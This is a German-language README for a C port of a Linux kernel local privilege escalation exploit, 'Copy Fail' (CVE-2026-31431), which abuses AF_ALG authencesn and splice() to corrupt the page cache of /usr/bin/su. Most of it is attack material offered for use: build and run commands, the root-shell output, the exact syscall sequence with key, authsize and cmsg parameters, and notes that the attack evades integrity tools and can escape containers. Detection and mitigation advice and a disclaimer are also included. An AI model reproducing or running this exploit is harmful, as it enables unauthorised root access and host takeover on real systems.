
C-basierter lokaler Privilege-Escalation-Exploit für CVE-2026-31431, eine Schwachstelle im Linux-Kernel in der AF_ALG-Krypto-Schnittstelle, die über die Manipulation des Page Cache Root-Zugriff ermöglicht.
Copy Fail (CVE-2026-31431) — eine logische Schwachstelle im Linux-Kernel, die es einem lokalen, nicht privilegierten Benutzer ermöglicht, seine Rechte auf Superuser-Ebene (root) zu erhöhen. Die Schwachstelle gehört zur Klasse Local Privilege Escalation (LPE), erfordert keine komplexen Ausführungsbedingungen (wie Race Conditions oder Speicheradressen-Raten) und funktioniert "out of the box" auf den meisten Linux-Distributionen, die nach 2017 veröffentlicht wurden.
Dieses Repository enthält einen Port des ursprünglichen Python-Exploits in die Sprache C mit ausführlichen Kommentaren, geeignet für statische Kompilierung und den Einsatz in minimalen Umgebungen.
Die Schwachstelle entsteht durch einen logischen Fehler in der kryptografischen Subsystem des Linux-Kernels, der mit der Verarbeitung von AF_ALG (Schnittstelle der kryptografischen Kernel-API) und dem Mechanismus des Seitencaches (Page Cache) zusammenhängt.
Der Fehler wurde 2017 bei der Hinzufügung einer Optimierung eingeführt, die eine überflüssige Pufferung durch die Ausführung von AEAD-Blockverschlüsselungsoperationen (Authenticated Encryption with Associated Data) an Ort und Stelle (in-place) entfernte. Aufgrund einer fehlerhaften Behandlung der Puffergrenzen im Algorithmus authencesn (Teil der kryptografischen AEAD-Vorlage) kommt es zu einem Schreibzugriff von 4 Bytes über die Grenzen des zugewiesenen Puffers hinaus, was zur Beschädigung der Verwaltungsstrukturen des Seitencaches führt.
Infolgedessen kann der Kernel Daten zurück in den Seitencache einer Datei schreiben, selbst wenn diese nur zum Lesen geöffnet wurde (O_RDONLY).
AF_ALG-Socket und initialisiert den AEAD-Algorithmus authencesn(hmac(sha256),cbc(aes)).setsockopt() werden anomale Parameter gesetzt:
sendmsg() mit Control Messages wird eine Entschlüsselungsoperation initiiert.splice() verschiebt Daten aus der Zieldatei (geöffnet mit O_RDONLY) in den Krypto-Socket.authencesn wird der Seitencache der Datei beschädigt, und die "entschlüsselten" Daten werden zurück in den Cache geschrieben.root-Rechten führt.Betroffene Distributionen (bei Verwendung von Kerneln mit geladenem Modul algif_aead):
Besondere Bedeutung: In Container-Umgebungen (Docker, LXC, Kubernetes) ist das Subsystem AF_ALG für Prozesse innerhalb des Containers standardmäßig zugänglich, wenn das Modul algif_aead im Host-Kernel geladen ist. Dies birgt das Risiko einer Verletzung der Container-Isolation und der Erlangung der Kontrolle über den Host-Rechner.
Überprüfung der Schwachstelle:
# Prüfen, ob das Modul algif_aead geladen ist
lsmod | grep algif
# Prüfen, ob AF_ALG im Kernel vorhanden ist
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
Der ursprüngliche Exploit wurde in Python geschrieben (≈732 Bytes). Dieser C-Port hat folgende Besonderheiten:
libz benötigt.strace).recv() — verhindert Hängenbleiben, indem das try/except-Verhalten aus Python nachgeahmt wird.Wichtige Unterschiede zur Python-Version, die beim Portieren festgestellt wurden:
# libz erforderlich (zlib1g-dev oder zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Bei erfolgreichem Exploit wird eine gepatchte Version von /usr/bin/su gestartet, die Root-Zugriff ohne Passwortabfrage gewährt.
Erwartete Ausgabe:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su geöffnet
[+] 40 Chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Nachfolgend finden Sie eine detaillierte Analyse jedes Exploit-Schritts mit Angabe der entsprechenden Systemaufrufe:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Es wird ein Socket für den Zugriff auf die kryptografische Kernel-API erstellt. Der Algorithmus authencesn (Authenticated Encryption with Sequence Numbers) ist ein zusammengesetzter AEAD-Algorithmus, der AES-CBC für die Verschlüsselung und HMAC-SHA256 für die Authentifizierung verwendet.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 Nullen), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 Nullen), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 Nullen)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Für die Operation wird eine Verbindung erstellt. Über sendmsg() mit Control Messages (CMSG) werden die Parameter gesetzt:
ALG_OP_DECRYPT = 0).All diese Anomalien erzeugen Inkonsistenzen in der Speicherverwaltung des Kernels.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() ist ein Systemaufruf zum Verschieben von Daten zwischen Dateideskriptoren ohne Kopieren über den Userspace. Die Daten werden auf Kernel-Ebene über den Pipe-Mechanismus verschoben.
splice(target_fd -> pipe): Die Daten aus der Zieldatei (/usr/bin/su) gelangen in die Pipe.splice(pipe -> conn_sock): Die Daten aus der Pipe gelangen als "Chiffretext" in den Krypto-Socket.Wichtiger Punkt: In Python (und in diesem Port) wird das Offset für die Pipe als NULL übergeben, sodass der Kernel die Position automatisch verwalten kann.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
Der Aufruf von recv() veranlasst den Kernel, die kryptografische Operation abzuschließen. Im normalen Modus würden hier die entschlüsselten Daten zurückgegeben, aber aufgrund der anomalen Parameter wird ein Fehler EBADMSG (Python) oder EAGAIN (C mit O_NONBLOCK) zurückgegeben. Der Fehler wird ignoriert — die Beschädigung des Seitencaches ist bereits in der splice()-Phase erfolgt.
Der Seitencache (Page Cache) ist der Cache des Dateiinhalts im Arbeitsspeicher. Wenn ein Prozess eine Datei über O_RDONLY öffnet, erlaubt der Kernel nur das Lesen aus diesem Cache. Die Schwachstelle ermöglicht jedoch, diese Einschränkung zu umgehen:
write(), aber splice() arbeitet direkt auf der Ebene des Seitencaches und umgeht diese Prüfungen.Die Änderungen erfolgen nur im Arbeitsspeicher, nicht auf der Festplatte. Dies macht den Angriff mit Standard-Integritätskontrollen schwer erkennbar. Nach einem Neustart oder dem Leeren des Seitencaches verschwinden die Spuren des Angriffs.
Linux-Kernel aktualisieren auf eine Version, die den Fix enthält.
Modul algif_aead deaktivieren:
# Laden des Moduls verbieten
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Modul entladen (falls geladen)
sudo rmmod algif_aead
Zusätzliche Empfehlungen:
AF_ALG über seccomp-Profile verbieten./usr/bin/su auf der Festplatte verändert?Nein. Die Änderungen erfolgen nur im Seitencache (Arbeitsspeicher). Der Inhalt der Datei auf der Festplatte bleibt unverändert. Nach einem Neustart des Systems wird der Seitencache geleert, und die Datei kehrt in ihren ursprünglichen Zustand zurück.
Die Erkennung ist möglich über:
auditd, strace).AF_ALG-Sockets.Standard-Integritätskontrollen (AIDE, Tripwire) werden die Änderungen nicht erkennen, da die Datei auf der Festplatte unverändert bleibt.
Dieser Code wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Der Autor übernimmt keine Verantwortung für jegliche Verwendung dieses Codes für rechtswidrige Zwecke. Die Verwendung des Exploits ohne ausdrückliche Genehmigung des Systemeigentümers ist rechtswidrig und kann strafrechtliche Konsequenzen nach sich ziehen.
Verwenden Sie ihn nur auf Systemen, die Ihnen gehören, oder auf Systemen, für die Sie eine ausdrückliche schriftliche Genehmigung für Sicherheitstests haben.
| Komponente | Beschreibung |
|---|
| Linux-Kernel | Alle Versionen von 2017 bis zur Einbeziehung des korrigierenden Patches |
| Subsystem | crypto (Modul algif_aead) |
| Schnittstelle | AF_ALG — Benutzerzugriff auf die Kernel-Krypto-API |
| Systemaufruf | splice() in Verbindung mit AF_ALG-Sockets |
| Parameter | Python | C (dieser Port) |
|---|
sendmsg()-Flag | MSG_MORE | MSG_MORE |
splice()-Flag | 0 | 0 |
| Offset in Pipe | NULL | NULL |
| Schlüsselgröße | 40 Bytes | 40 Bytes |
cmsg_len | 20/36/20 | 20/36/20 (fest) |
| Pipe-Erstellung | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Blockierend mit try/except | Nicht blockierend (O_NONBLOCK) |